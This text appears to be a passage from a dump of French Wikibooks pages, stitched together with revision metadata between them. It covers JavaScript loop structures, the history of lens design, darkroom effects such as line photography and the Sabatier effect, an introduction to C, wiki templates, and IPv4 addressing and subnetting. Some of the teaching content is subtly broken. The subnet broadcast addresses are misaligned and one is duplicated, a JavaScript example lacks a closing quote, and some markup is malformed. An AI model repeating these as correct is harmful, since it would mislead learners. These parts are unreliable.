case 7: alert("la variable est égale à 7"); break; default: alert("la variable est négative ou supérieure à 7") } </pre> }} On remarquera l'utilisation des break pour regrouper des cas entre eux... ==Contrôle d'itération== JavaScript implémente les même structures de contrôle d'itération que le langage c, à savoir les boucles '''for''', '''while''' et '''do'''. <br/> Avant de les examiner, nous allons regarder l'usage de '''continue''' et '''break''' appliqué aux boucles. ===Utilisation de continue=== Ce mot réservé permet à volonté de sauter des tours. L'exemple suivant saute le passage à zero d'une itération comprise entre -2 et 2. {{Cadre code|Exemple de continue| <pre> for (i=-2; i <= 2; i++) { if (i==0) continue; alert(i); // Affiche -2, puis -1, 1 et 2... mais pas le zero. } </pre> }} Cette fonctionnalité de '''continue''' est aussi appliquable aux boucles '''while''' et '''do'''. ===Utilisation de break=== Les boucle '''for''', '''while''' et '''do''' autorisent l'usage de '''break''' pour sortir de l'itération. C'est possible. Mais c'est discutable (et comme c'est discutable, on n'en parlera pas). ===for=== ====Description==== La structure for permet d'effectuer plusieurs fois une ligne d'instructions ou un bloc d'instructions.<br/> Les modalités d'exécution de l'itération sont indiquées entre les parenthèses précédant le mot réservé for. L'instruction ou le bloc à exécuter se situent après.<br/> Syntaxe: <pre> for (modalités) action; ou for (modalités){action1; action2;} </pre> Par modalités, nous regroupons en fait trois choses distinctes qui sont:<br/> * l'initialisation * La condition pour exécuter la boucle * Les changements à effectuer à chaque tour (généralement une incrémentation ou décrémentation). Ces trois instructions sont séparées par des points-virgule et placées entre parenthèses après le mot réservé '''for'''.<br/> Généralement, ces trois instructions s'appliquent à une variable chargée de contrôler l'itération, et qu'on nomme avec la lettre '''i'''.<br/> ====Boucle croissante==== L'exemple le plus simple est le suivant : {{Cadre code|Exemple for| <pre> for (i = 0; i < 5; i++) { alert(i); // Affiche 0, puis 1, puis 2, puis 3, puis 4 } </pre> }} Dans cet exemple, nous avons initialisé la variable i à 0, défini la condition pour exécuter la boucle (répéter tant que i est strictement inférieur à 5) et défini le changement à effectuer à chaque tour (incrémenter i).<br/> Une fois assimilé le fonctionnement, on imagine aisément toutes les possibilités. <br/> D'abord, on peut initialiser i avec la valeur de son choix. Commencer avec 1, ou un nombre négatif.<br/> Ensuite, on est libre de l'expression de la condition : strictement inférieur à 5, inférieur ou égal à 5 (<=) à condition devienne fausse à un moment donné, pour sortir.<br/> ====Boucle à paliers==== On n'est pas tenu exclusivement d'incrémenter i. On peut modifier la valeur par pas de 2.<br/> {{Cadre code|Autre exemple for| <pre> for (i = 4; i <= 10; i += 2) alert(i + "est un nombre pair compris entre 4 et 10); // affiche 4, puis 6, 8 et 10 </pre> }} ====Boucle décroissante==== De la même manière, une boucle peut être décroissante : {{Cadre code|Exemple for, boucle décroissante| <pre> for (i = 5; i >= 0; i--) alert(i); // affiche 5, puis 4, 3, 2, 1 et 0 </pre> }} ====État en sortie de boucle ==== En sortie de boucle, i contient la valeur résultante des modifications. Pour le dernier exemple, c'est -1.<br/> ====Éviter les pièges :==== =====Boucle infinie===== Il est possible, par inattention, de programmer une boucle infinie. Cela se produit quand la condition de boucle reste vraie malgré la modification de la variable. <div> for (i=0; <span style="color:red">i &gt;= 0</span>; i++) </div> L'incrémentation de i ne changera pas le fait que la variable est supérieure ou égale à zéro... =====Variable modifiée===== La structure for s'appuie sur une variable pour piloter le déroulement de la boucle. Seulement, elle ne rend pas la variable comme elle l'a reçue. Elle la modifie complètement. Pour éviter de modifier une variable par erreur, il est judicieux d'utiliser le mot réservé var : <pre> for (var i=0; .... </pre> ===while=== La structure while conditionne l'exécution répétée d'une instruction ou d'un bloc d'instructions au test d'une expression logique. <pre> while (condition) action; ou while (condition) { action1; action2; } </pre> Pour qu'il soit possible de sortir de la boucle, il faut que les instructions modifient à terme la condition pour la rendre fausse. {{Cadre code|Exemple while| <pre> var i = 0; // Initialiser i while (i<5) // Tant que i est strictement inférieur à cinq i++; // ... l'incrémenter. </pre> }} En langage c, la boucle while peut-être volontairement infinie : while(true) toujours vrai, mais en JavaScript, le navigateur ne l'acceptera probablement pas. ===do=== La structure do permet d'exécuter une instruction ou un bloc d'instructions et de répéter cette action tant qu'une expression logique surveillée par while est vraie. <pre> do action while (condition) </pre> {{Cadre code|Exemple do| <pre> var i = 0; do { i++ } while(i < 5); </pre> }} [[programmation JavaScript/Fonctions utilisateur|Fonctions utilisateur>>]] Photographie - 08 - Calcul des objectifs 6584 44439 2006-06-12T14:27:34Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_08}} Depuis quelques dizaines d'années, les progrès dans la conception et la fabrication des objectifs ont été considérables, grâce à la puissance de calcul des ordinateurs ; il n'en a pas toujours été ainsi ! == Méthodes anciennes == Au XIXe siècle et au début du 20e, les opticiens n'avaient pour seul outil de calcul que les tables de logarithmes. Les calculs étaient donc effectués entièrement à la main. Par la suite, les machines à calculer mécaniques, puis électriques, ont quelque peu facilité le travail. Cependant, l'interprétation des résultats incombait toujours à l'homme et c'est l'expérience acquise qui permettait de déterminer dans quelles directions il fallait travailler pour améliorer la qualité des objectifs. == Des évolutions rapides grâce à deux inventions == Pendant longtemps le nombre des interfaces air-verre est resté limité à 6 ou à 8 au grand maximum, à cause des pertes de lumière et de contraste dues aux réflexions parasites. De ce fait, le nombre des lentilles ne pouvait guère dépasser 4 ou 5, ce nombre étant par ailleurs le maximum que l'on pouvait adopter compte tenu des moyens de calcul de l'époque. Avant la 2e guerre mondiale, par exemple, l'objectif Sonnar 1:1,5/50 mm Zeiss occupa 7 mathématiciens pendant près de deux ans ... Le traitement des lentilles par vaporisation de matériaux anti-reflets, inventé en 1935 par le Professeur Smakula de la Société Zeiss, a permis de faire sauter cet obstacle important. Cette invention a permis de concevoir des objectifs comportant de très nombreuses lentilles, parfois près de 20 dans les objectifs à focale variable modernes. La possibilité d'augmenter le nombre des lentilles serait cependant restée sans effet sans l'apparition des ordinateurs, en raison des temps de calcul manuel devenant prohibitifs. Aujourd'hui, quelques minutes ou même quelques secondes de calcul permettent de traiter des ensembles de données qui demanderaient, avec les méthodes anciennes, plusieurs dizaines d'années ! En effet, plus on cherche à pousser loin la correction des aberrations, plus les calculs deviennent complexes et inextricables pour un cerveau humain. == Les méthodes modernes == Les corrections poussées de toutes les aberrations sont désormais possibles mais les opticiens doivent évidemment faire des choix, car pour un usage donné il n'est généralement pas possible d'augmenter indéfiniment le nombre des lentilles et l'encombrement d'un objectif. Avant les années 1960, le critère que l'on considérait comme le plus important pour évaluer la qualité d'un objectif était le '''[[Photographie - 14 - Pouvoir séparateur des objectifs|pouvoir séparateur des objectifs]]'''. Cependant, dès 1942, le rôle de la transmission du contraste avait été mis en évidence. On sait aujourd'hui que ce rôle est déterminant pour la qualité globale des images : en 24x36 ou en 6x6, une transmission de contraste élevée pour des fréquences de quelques dizaines de paires de lignes par mm est bien plus importante pour les usages courants que la capacité à séparer plus de 100 lignes par mm. Grâce à la théorie de la '''[[Photographie - 14 - Fonction de transfert de modulation|fonction de transfert de modulation]]''', développée par le Français Duffieux et l'Anglais Hopkins, on sait maintenant prendre en compte efficacement la transmission du contraste. On arrive là dans un domaine si complexe que le calcul manuel devient pratiquement impossible. Le problème est de trouver, pour un usage donné, le meilleur compromis entre une bonne transmission du contraste et une correction suffisante des diverses aberrations qui nuisent à la qualité de l'image finale. Depuis plusieurs décennies, l'expérience accumulée permet d'orienter les choix à partir de bases de données contenant, pour les diverses formules optiques connues, les possibilités limites en matière d'ouverture relative, d'angle de champ, d'encombrement, de coût, etc. Cependant, comme l'a fait remarquer le professeur Glatzel, l'ordinateur ne peut pas remplacer l'homme pour ce qui relève de la créativité. Il cite comme exemple l'objectif grand-angulaire Hologon 1:8/15 mm, dont l'angle de champ atteint 110° sans distorsion, et qui ne comporte que 3 lentilles dont le moins qu'on puisse dire est qu'elles sont très spéciales. Cette solution inédite, due au Docteur Hans Schulz Hunibach, montre comment l'homme et la machine peuvent se compléter dans ce domaine. == Évolutions induites par les techniques numériques == Elles sont actuellement, pour l'essentiel, de deux sortes : * une augmentation du pouvoir séparateur liée à la petite taille des capteurs et de leurs photosites : il ne sert en effet à rien d'utiliser un capteur dont les photosites mesurent par exemple 3 µm derière un objectif incapable de séparer plus de 100 paires de lignes par mm ... * la possibilité, évoquée dans le chapitre 14, de corriger par des voies logicielles certains défauts comme la distorsion ou l'aberration chromatique, permet de reporter les efforts sur d'autres points. Photographie - Chapitre 20 - Le tirage des positifs 6586 29374 2006-01-19T18:43:59Z Jean-Jacques MILAN 114 {{Photographie}} * [[Photographie - 20 - Effets spéciaux en noir et blanc|Effets spéciaux en noir et blanc]] Photographie - 20 - Effets spéciaux en noir et blanc 6588 29618 2006-01-21T00:03:34Z Jean-Jacques MILAN 114 /* Les trames */ {{Photographie}} Avec l'avénement des techniques numériques, « les effets spéciaux » aboutissant à des images manipulées en laboratoire ont quelque peu perdu de leur intérêt. Cependant, même si c'est aujourd'hui plus facile, on ne fait pas beaucoup plus de choses sur ordinateur que dans la chambre noire ... Ceci dit, beaucoup de photographes se sont imaginé qu'ils pourraient, à l'aide d'effets spéciaux, tirer profit de clichés médiocres au départ, les « sauver » en quelque sorte de la poubelle. Hélas pour eux, une mauvaise prise de vue, une composition médiocre ou un mauvais éclairage ne peuvent généralement pas être rattrapés, même au prix de longues heures de travail. Sur ce point, l'ordinateur n'a fondamentalement rien changé et nous ne saurions trop inciter les manipulateurs d'images à ne travailler qu'avec un but précis ! == Les films « lith » == Ce sont des films spéciaux étudiés pour donner un contraste extrêmement élevé. Ils ont été largement utilisés en imprimerie avant l'apparition des scanners pour l'impression de photos tramées. Dans les révélateurs à haut contraste type Kodak D-11, ces films donnent une gamme de gris très « dure » qui finit par basculer vers deux tons seulement, le blanc et le noir, après un certain nombre de contretypages successifs (obtention d'un positif à partir d'un négatif, puis d'un nouveau négatif à partir de ce positif, etc.). Dans les révélateurs spéciaux contenant du formaldéhyde, le développement se fait par contagion. Les zones insolées sont développées brutalement et donnent un noir intense sans pratiquement passer par la gamme des gris habituels ; les surfaces développées s'étendent progressivement par noircissement des zones voisines de moins en moins exposées à la lumière et il faut donc arrêter le développement au bout d'un temps relativement précis si l'on veut contrôler le résultat. == Photographie au trait == Ce procédé a été très largement utilisé pendant des décennies pour le cinéma, les arts graphiques, la publicité, etc. En partant d'un cliché en noir et blanc conventionnel, présentant donc une gamme de gris continue, on obtient finalement une nouvelle image ne comportant plus que des noirs et des blancs. La séparation se fait au niveau d'un gris moyen, tout ce qui est plus clair bascule vers le blanc et tout ce qui est plus foncé vers le noir. À partir d'un négatif normal, on commence par réaliser un contretype positif sur un film lith. Après traitement et séchage, on recommence l'opération pour obtenir un négatif ne comportant plus que du noir et du blanc, négatif qui sera ensuite agrandi de façon tout-à-fait classique sur un papier photographique ordinaire, pour donner une image en deux tons dite « image au trait ». Lors des deux étapes du contretypage, les impuretés présentes dans les bains et les micro-bulles d'air accrochées au film provoquent la formation d'une multitude de points noirs et blancs. Les premiers sont généralement laissés en l'état (ils se transformeront en points blancs), les seconds sont soigneusement rebouchés à la gouache ou à la Néococcine (colorant rouge intense). Une grande table lumineuse, un pinceau très fin et une bonne loupe sont ici des outils quasi indispensables. == Le grain == En général, une forte granulation visible sur une épreuve photographique n'est pas considérée comme un signe de qualité et les fabricants de films se sont toujours efforcés de mettre au point des émulsions aussi fines que possibles. Cependant, le « grain » volontairement recherché peut apporter une certaine originalité à un cliché. Pour obtenir un maximum de grain, on commencera par faire exactement le contraire de ce que l'on fait quand on veut en obtenir le moins possible ! On choisira donc un film très rapide, on le traitera dans une révélateur énergique, à température relativement élevée, et on l'agrandira fortement. L'effet est accentué en réalisant des contretypes sur film lith. Il est possible également de partir d'une pellicule couleur inversible de haute sensibilité. En développant à température élevée puis en lavant ou en fixant à basse température on peut aussi provoquer la réticulation de la gélatine, ce qui peut donner également un effet intéressant. Les concepteurs de logiciels de traitement d'image proposent aujourd'hui des « filtres » qui permettent d'introduire dans les images informatiques des effets de grain simulant ce que l'on pouvait avoir avec des films. == Le bas-relief == Ce procédé est un des plus intéressants. Comme pour le tirage au trait, on exécute un positif et un négatif sur film, puis on les superpose avec un léger décalage, ce qui donne une impression de bas-relief. L'effet obtenu est différent selon la densité et le degré de contraste des deux clichés, beaucoup de variantes sont possibles avec une même image de départ. D'une manière générale le résultat est plus intéressant avec des clichés riches en détails contrastés et un décalage très léger mais chacun trouvera avantage à faire ses propres essais. == La « solarisation », ou plutôt la pseudosolarisation == Il s'agit ici non pas de la solarisation proprement dite, qui est un effet d'inversion des images sous l'action de luminations énormes, mais de d'un phénomène connu sous le nom d'effet Sabatier. Lorsque l'on expose uniformément à une lumière actinique une épreuve en cours de développement, celle-ci tend à noircir uniformément, sauf au niveau des zones de séparation des densités opposées (des blancs et des noirs) qui sont soulignées par un fin liséré. En agrandissant et en recontrastant si besoin est l'image obtenue, on obtient un effet de contour négatif ou positif sur toutes les zones comportant des séparations nettes. Les paramètres qui influent sur l'image finale sont si nombreux qu'il est pratiquement impossible de reproduire deux fois la même image finale, il faut donc compter énormément sur la chance. L'effet Sabatier donne de meilleurs résultats sur les films lents que sur les films rapides, et on peut aussi le pratiquer sur des tirages, à condition d'avoir une grande poubelle à proximité immédiate. == Les trames == Elles sont de deux sortes : * les trames mécaniques permettent de donner une texture à une image et voici quelques années, on pouvait en trouver un grand choix dans le commerce. Ces produits se sont raréfiés aujourd'hui mais des tissus légers, des gazes, des dentelles posées sur le papier de tirage peuvent parfaitement convenir. * les trames optiques ont largement servi aux photograveurs pour transformer des images demi-teintes en images constituées d'un fin réseau de points noirs et blancs plus ou moins gros qui, en étant vus d'une distance suffisante, reconstituent pour l'oeil les gammes de gris initiales. Les trames optiques sont constituées de fins quadrillages appartenant à deux familles : les unes sont constituées de traits nets, on les utilise à une distance déterminée du film et avec un diaphragme de forme carrée (diaphragme à vanne) de dimensions bien précises, les autres sont dotées de traits dont les densités varient de façon sinusoïdale et s'utilisent par contact direct sur la surface sensible. Dans les deux cas, on utilise du film lith développé dans un révélateur spécial afin de n'obtenir que du noir et du blanc. Le travail avec des trames optiques (devenues de toute manière quasi introuvables) n'est pas à la portée de l'amateur. Programmation C debutants 6589 29643 2006-01-21T01:50:43Z Guillaumito 46 fusion {{fusionner|Programmation C}} == Ressources de la Wikiversité == Ce cours fait partie de la bibliothèque du [[ Wikiversité:Département informatique|Département Informatique de la wikiversité]].<br/> ==Sommaire== === Introduction === [[Programmation_C_debutants:Pourquoi apprendre le langage C|Pourquoi apprendre le langage C ?]] Programmation C debutants:Pourquoi apprendre le langage C 6590 29644 2006-01-21T01:51:07Z Guillaumito 46 {{fusionner|Programmation C}} <big><big>Pourquoi apprendre le langage C?</big></big> [[Programmation_C_debutants|Sommaire]] ---- Les systèmes d'exploitation les plus répandus actuellement sont Windows de Microsoft, Mac OS X et GNU/Linux. Ils sont tout 3 écrits en langage C . Pourquoi ? Parce les systèmes d'exploitation tournent directement au dessus du harware de la machine. Il n'y a pas de couche plus basse pour gérer leur requête. A l'origine, les systèmes d'exploitation étaient écrit en assembleur, ce qui les rendait rapides et performants. Toutefois, écrire un OS en assembleur est une tâche pénible, et produit du code qui ne peut s'exécuter que sur une seule architecture processeur, comme l'Intel X86 ou l'AMD 64. Ecrire un OS dans un langage de plus haut niveau comme le langage C, permet au programmeur de porter son système d'exploitation sur une autre architecture sans avoir à tout réécrire. Mais pourquoi utiliser le 'C' et pas le langage Java, le langage Basic ou le langage Perl ? Principalement à cause de la gestion de la mémoire. A la différence de la plupart des autres langages de programmtion, le langage C permet au programmeur de gérer la mémoire de la manière qu'il aurait choisie s'il avait utilisé l'assembleur. Les langages comme le Java et le Perl permettent au programmeur de ne pas avoir à se soucier de l'allocation de la mémoire et des pointeurs. C'est en génaral un point positif. C'est assez pénible de se soucier de la gestion de la mémoire lorsqu'on écrit un programme de haut niveau comme un rapport sur les résultats trimestriels. Cependant lorsqu'on parle d'écrire un programme de bas niveau comme la partie du système d'exploitation qui s'occupe d'envoyer la chaine d'octets correspondant à notre rapport trimestriel depuis la mémoire de l'ordinateur vers le buffer de la carte réseau afin de l'envoyer vers une imprimante réseau, avoir un accès direct à la mémoire est fondamental -- ce qu'il est impossible à faire dans un langage comme Java par exemple. Le compilateur C produit de plus un code rapide et performant. Est-ce vraiment si merveilleux que le langage C soit un langage si répandu ? Par effet domino, la génération suivante de programmes suit la tendance de ses ancêtres. Les systèmes d'exploitation écrits en C ont toujours des librairies écrites en C. Ces librairies système sont à leur tour utilisées pour écrire des librairies de plus haut niveau (comme openGL ou GTK)et le programmeur de ces librairies décide souvent d'utiliser le même langage que celui utilisé par ces librairies système. Les développeurs d'aplication utilisent ces librairies de haut niveau pour écrire des traitements de texte, des jeux, les lecteurs multimédia, etc... La plupart d'entre eux choisiront d'utiliser pour leur proramme le même langage que les librairies de haut niveau. Et le schéma se reproduit à l'infini... Modèle:Cadre code 6591 29422 2006-01-20T12:10:52Z Boly38 136 Import depuis [http://fr.gentoo-wiki.com/Modèle:Cadre_code] (license inconnue) <div style="padding: 0.2em; width: 75%; background-color: #f2fff2; border: solid 1px #bfffbf;"> <div style="background-color: #c1ffc1; border: solid 1px #a0ffa0">Code : {{{1}}}</div> {{{2}}} </div> Modèle:Cadre fichier 6593 29426 2006-01-20T12:30:13Z Boly38 136 Import depuis http://fr.gentoo-wiki.com/Mod%C3%A8le:Cadre_fichier (licence inconnue) {| WIDTH="75%" style="background-color: #fff2f2; border: solid 1px #ffbfbf;" | style="background-color: #ffafaf;" | <font size="-1">Fichier : {{{1}}}</font> |- | {{{2}}} |} Réseaux TCP/IP 6596 35425 2006-03-02T07:40:40Z Merrheim 1032 {{Réseaux TCP/IP}} {| width="70%" border="0" cellspacing="0" cellpadding="5" |- | bgcolor="#E0E0F0" align="center" colspan="2" | {| width="100%" bgcolor="#E0E0F0" |- | bgcolor="#E0E0F0" valign="middle" width="90%" align="center" | <font size="+1">Les réseaux TCP/IP</font> ''Un livre appartenant à la série Architecture, Système et Réseaux du [[Département informatique/Bibliothèque|Département informatique]] <br/> et à l'[[Accueil/Informatique|étagère Informatique]] de [[Accueil|Wikilivres]]''. |- |} |- bgcolor="lightyellow" valign="top" colspan="2" | {{Sous section|nom=Reseaux TCP/IP/Sommaire|couleur=#E0E0F0|couleurbord=darkblue|couleurfond=white}} |- | colspan="2" align="center" | {| |- | align="left" | |- |} |- |} Réseaux TCP/IP : adressage IP v4 6597 45243 2006-06-19T22:52:25Z 82.250.102.65 /* Découpage d'un réseau IP */ {{Reseaux TCP/IP}} [[Reseaux_TCP/IP|Retour au sommaire]] == Le cours sur l'adressage IP == === Le protocole IP=== Le protocole IP (Internet Protocol) est un des protocoles majeurs de la pile TCP/IP. Il s'agit d'un protocole réseau (niveau 3 dans le modèle OSI). === Adresse IP === Dans un réseau IP, chaque machine possède une adresse IP fixée par l'administrateur du réseau. Il est interdit de donner la même adresse à 2 machines différentes sous peine de panne.<br> Une adresse IP est une suite de 32 bits notée en général a.b.c.d avec a, b, c, et d des entiers entre 0 et 255. Chaque valeur a, b, c ou d représente dans ce cas une suite de 8 bits.<br/> '''Exemple : ''' une machine a comme adresse IP 134.214.80.12. a vaut 134 soit (1000 0110) en binaire. b vaut 214 soit (1101 0110) en binaire. c vaut 80 soit (0101 0000) et d vaut 12 vaut (0000 1100). En binaire, l'adresse IP s'écrit donc 1000 0110 1101 0110 0101 0000 0000 1100. === Taille des réseaux IP === Un réseau IP peut avoir une taille très variable : * une entreprise moyenne aura un réseau comportant une centaine de machines. * un campus universitaire aura un réseau comportant de quelques milliers à quelques dizaines de milliers de machines. * le réseau d'une multinationale (un grand fournisseur d'accès par exemple) peut comporter des millions de postes. * Tous ces différents réseaux peuvent être interconnectés. === Le net-id et le host-id === Au sein d'un même réseau IP, toutes les adresses IP commencent par la même suite de bits. L’adresse IP d’une machine va en conséquence être composée de 2 parties : le net-id (la partie fixe) et le host-id (la partie variable). === Masque d'un réseau IP === Le masque du réseau permet de connaître de nombre de bits du net-id. On appelle N ce nombre. Il s’agit d’une suite de 32 bits composée en binaire de N bits à 1 suivis de 32-N bits à 0. * '''Exemple de masque numéro 1 '''<br/> Le réseau d’une multinationale comprend toutes les adresses IP commençant par 5. Une adresse IP sera du type 5.*.*.*. Le net-id comporte 8 bits et le host-id comporte 24 bits. Le masque s’écrira donc en binaire 8 bits à 1 suivi de 24 bits à 0 soit 1111 1111 0000 0000 0000 0000 0000 0000. Le masque sera donc 255.0.0.0 Un tel réseau peut comporter 2<sup>24</sub> machines soit 16 millions environ. *'''Exemple de masque numéro 2'''<br/> Le réseau d’un campus universitaire comprend toutes les adresses IP commençant par 134.214. Une adresse IP sera du type 134.214.*.*. Le net-id comporte 16 bits et le host-id comporte 16 bits. Le masque s’écrira donc en binaire 16 bits à 1 suivi de 16 bits à 0 soit 1111 1111 1111 1111 0000 0000 0000 0000. Le masque sera donc 255.255.0.0. Un tel réseau peut contenir au maximum 2<sup>16</sub> machines soit 65536 machines. * '''Exemple de masque numéro 3 '''<br/> le réseau d’une PME comprend toutes les adresses IP commençant par 200.150.17. Une adresse IP sera du type 200.150.17.* Le net-id comporte 24 bits et le host-id comporte 8 bits. Le masque s’écrira donc en binaire 24 bits à 1 suivi de 8 bits à 0 soit 1111 1111 1111 1111 1111 1111 0000 0000. Le masque sera donc 255.255.255.0. Un tel réseau peut contenir au maximum 2<sup>8</sup> machines soit 256 machines. === Adresse réseau === Chaque réseau IP a une adresse qui est celle obtenue en mettant tous les bits de l’host-id à 0. Le réseau de l’exemple 3 a comme adresse réseau 200.150.17.0. Un réseau IP est complètement défini par son adresse de réseau et son masque de réseau. ===Autre notation === On considère le réseau 150.89.0.0 de masque 255.255.0.0. Le masque comporte 16 bits à 1. On note parfois ce réseau : 150.89.0.0 /16. De la même manière le réseau 200.89.67.0 de masque 255.255.255.0 pourra être noté 200.89.67.0 /24. === Adresse de diffusion (broadcast)=== Cette adresse permet à une machine d’envoyer un datagramme à toutes les machines d’un réseau. Cette adresse est celle obtenue en mettant tous les bits de l’host-id à 1. Le réseau de l’exemple 3 a comme adresse de broadcast 200.150.17.255. === Deux adresses interdites === Il est interdit d’attribuer à une machine d’un réseau IP, l’adresse du réseau et l’adresse de broadcast. === Les classes A, B et C (Obsolète) === Historiquement, le réseau Internet était découpé par classes comme expliqué ci-dessous: *Internet est prédécoupé en **126 réseaux de classe A dont le masque est 255.0.0.0 **16384 réseaux de classe B dont le masque est 255.255.0.0 **2 millions de réseaux de classes C dont le masque est 255.255.255.0 *'''Classe A : '''<br/> **Les adresses de ces réseaux sont a.0.0.0 avec a compris entre 1 et 126 bornes incluses (le premier bit des adresses IP des ces réseaux est 0). **Le masque est 255.0.0.0 **Un tel réseau peut contenir 2<sup>24</sup>-2 machines soit 16 millions environ. *'''Classe B : '''<br/> **Les adresses de ces réseaux sont a.b.0.0 avec a compris entre 128 et 191 bornes incluses et b compris entre 0 et 255.(les 2 premiers bits des adresses IP de ces réseaux sont 10). **Un tel réseau peut contenir 2<sup>16</sup> -2 = 65 534 machines. *'''Classe C : '''<br/> **Les adresses de ces réseaux sont a.b.c.0 avec a compris entre 192 et 223 bornes incluses et b et c compris entre 0 et 255 (les 3 premiers bits des adresses IP de ces réseaux sont 110). **Un tel réseau peut contenir 2<sup>8</sup>-2 = 254 machines. Aujourd'hui, la notion de classes d'adresses a disparu. Cela est notamment du au gachis d'adresses qui était fait en limitant l'utilisation du masque. Les RFC 1518 et RFC 1519 datant de 1993 spécifient une nouvelle norme, l'adressage CIDR. Ce nouvel adressage précise qu'il est possible d'utiliser n'importe quel masque avec n'importe quelle adresse, et organise par ailleurs le regroupement géographique des adresses IP pour diminiuer la taille des tables de routage des routeurs principaux d'Internet. ===Exemple === Une machine possède l’adresse IP 134.214.80.12 : elle appartient au réseau de classe B 134.214.0.0 de masque 255.255.0.0. Dans ce réseau, une machine peut avoir une adresse IP comprise entre 134.214.0.1 et 134.214.255.254. L’adresse de broadcast est 134.214.255.255. === Réseaux interdits === Un certain nombre de ces adresses IP sont réservées pour des réseaux locaux connectés à Internet (RFC 1918) Elles ne doivent pas être utilisées sur l'internet. Il s’agit des adresses : *de 10.0.0.0 à 10.255.255.255 *de 172.16.0.0 à 172.31.255.255 *de 192.168.0.0 à 192.168.255.255 * Les adresses de 127.0.0.0 à 127.255.255.255 sont également interdites. L'adresse 127.0.0.1 s’appelle l’adresse de boucle locale (localhost en anglais) et désigne la machine locale. ===Distribution des adresses IP === Sur l'internet, l’organisme IANA est chargé de la distribution des adresses IP. IANA a délégué la zone européenne à un organisme : le RIPE NCC. Cet organisme distribue les adresses IP aux fournisseurs d’accès à l'internet === Découpage d'un réseau IP === Un réseau IP de classe A, B ou C peut être découpé en sous-réseaux. Lors d’un découpage le nombre de sous-réseaux est une puissance de 2 : 4, 8, 16, 32 … Chaque sous-réseau peut être découpé en sous-sous-réseaux et ainsi de suite On parle indifféremment de réseau IP pour désigner un réseau, un sous-réseau, … Chaque sous-réseau sera défini par un masque et une adresse IP. ===Exemple de découpage === On considère le réseau 134.214.0.0 de masque 255.255.0.0 On veut découper ce réseau en 8 sous-réseaux.<br/> On veut obtenir pour chaque sous-réseaux : le masque et l’adresse du sous-réseaux. *'''Calcul du masque'''<br/> On veut découper le réseau en 8 : 8=2<sup>3</sub>. En conséquence, le masque de chaque sous-réseau est obtenu en rajoutant 3 bits à 1 au masque initial. L’ancien masque 255.255.0.0 comprend 16 bits à 1 suivis de 16 bits à 0. Le nouveau masque comprendra donc 16+3=19 bits à 1 suivis de 13 bits à 0. Le masque de chaque sous-réseau sera donc 255.255.224.0. *'''Calcul du net-id de chaque sous réseau'''<br/> Le net-id de chaque sous-réseau sera constitué de 19 bits. Les 16 premiers bits seront ceux de l’écriture en binaire de 134.214. Les 3 bits suivants seront constitué du numéro du sous-réseau 000 , 001, 010, 011, 100,101, 110, ou 111. *'''Calcul de l'adresse de chaque sous réseau'''<br/> Pour obtenir l'adresse réseau, on met tous les bits du host-id à 0.<br/> On obtient donc comme adresse pour chaque sous-réseau :<br/> 134.214.(000 00000).0 soit 134.214.0.0.<br/> 134.214.(001 00000).0 soit 134.214.32.0.<br/> 134.214.(010 00000).0 soit 134.214.64.0.<br/> 134.214.(011 00000).0 soit 134.214.96.0.<br/> 134.214.(100 00000).0 soit 134.214.128.0.<br/> 134.214.(101 00000).0 soit 134.214.160.0.<br/> 134.214.(110 00000).0 soit 134.214.192.0.<br/> 134.214.(111 00000).0 soit 134.214.224.0.<br/> *'''Obtention des adresses de broadcast '''<br/> Pour obtenir l ’adresse de broadcast, on met à 1 tous les bits du host-id Les adresses de broadcast sont donc : <br/> 134.214.(001 11111).255 soit 134.214.31.255<br/> 134.214.(010 11111).255 soit 134.214.63.255<br/> 134.214.(011 11111).255 soit 134.214.95.255<br/> 134.214.(100 11111).255 soit 134.214.127.255 <br/> 134.214.(101 11111).255 soit 134.214.159.255 <br/> 134.214.(110 11111).255 soit 134.214.191.255<br/> 134.214.(111 11111).255 soit 134.214.223.255 <br/> 134.214.(111 11111).255 soit 134.214.255.255 <br/> <br/> ==Liens internes== *[[w:Adresse_IP| Adresse IP]] : la notion d'adresse IP et de masque. == Exercices sur l'adressage IP== ===EXERCICE 1=== Ecrivez en binaire les adresses IP 156.78.90.87 et 192.168.23.60 {{Boîte déroulante|titre=Solution de l'exercice 1|contenu= 156-128=28<br/> 28-16=12<br/> 12-8=4<br/> 4-4=0<br/> 156=128+16+8+4 soit en binaire 1001 1100<br/> <br/> 78-64=14<br/> 14-8=6<br/> 6-4=2<br/> 78=64+8+4+2 soit en binaire 0100 1110<br/> <br/> 90-64=26<br/> 26-16=10<br/> 10-8=2<br/> 2-2=0<br/> 90=64+16+8+2 soit en binaire 0101 1010<br/> <br/> 87-64=23<br/> 23-16=7<br/> 7-4=3<br/> 3-2=1<br/> 1-1=0<br/> 87=64+16+4+2+1 soit en binaire 0101 0111<br/> <br/> L’ adresse IP 156.78.90.87 s’écrit donc en binaire<br/> 1001 1100 0100 1110 0101 1010 0101 0111<br/> <br/> 192-128=64<br/> 64-64=0<br/> 192=128+64 soit en binaire 1100 0000<br/> 168-128=40<br/> 40-32=8<br/> 8-8=0<br/> 168=128+32+8 soit en binaire 1010 1000<br/> <br/> 23-16=7<br/> 7-4=3<br/> 3-2=1<br/> 1-1=0<br/> 23=16+4+2+1 soit en binaire 0001 0111<br/> <br/> 60-32=28<br/> 28-16=12<br/> 12-8=4<br/> 4-4=0<br/> 60=32+16+8+4 soit en binaire 0011 1100<br/> L’adresse IP 192.168.23.60 s’écrit donc en binaire <br/> 1100 0000 1010 1000 0001 0111 0011 1100<br/> }} ===EXERCICE 2=== Ecrivez sous la forme a.b.c.d les adresses IP 1100 1101 1010 1010 0110 0110 1100 0111 et 0110 1001 1001 1110 0101 0101 0111 1110 {{Boîte déroulante|titre=Solution de l'exercice 2|contenu= Ecrivez sous la forme a.b.c.d l’adresse IP 1100 1101 1010 1010 0110 0110 1100 0111 <br/> 1100 1101 vaut en décimal 128+64+8+4+1=205<br/> 1010 1010 vaut en décimal 128+32+8+2=170<br/> 0110 0110 vaut en décimal 64+32+4+2=102<br/> 1100 0111 vaut en décimal 128+64+4+2+1=199<br/> <br/> L’adresse IP 1100 1101 1010 1010 0110 0110 1100 0111 s’écrit donc en 205.170.102.199<br/> <br/> Ecrivez sous la forme a.b.c.d l’adresse IP 0110 1001 1001 1110 0101 0101 0111 1110<br/> 0110 1001 vaut en décimal 64+32+8+1=105<br/> 1001 1110 vaut en décimal 128+16+8+4+2=158<br/> 0101 0101 vaut en décimal 64+16+4+1=85<br/> 0111 1110 vaut en décimal 64+32+16+4+2+1=126<br/> <br/> L’adresse IP 0110 1001 1001 1110 0101 0101 0111 1110 s’écrit 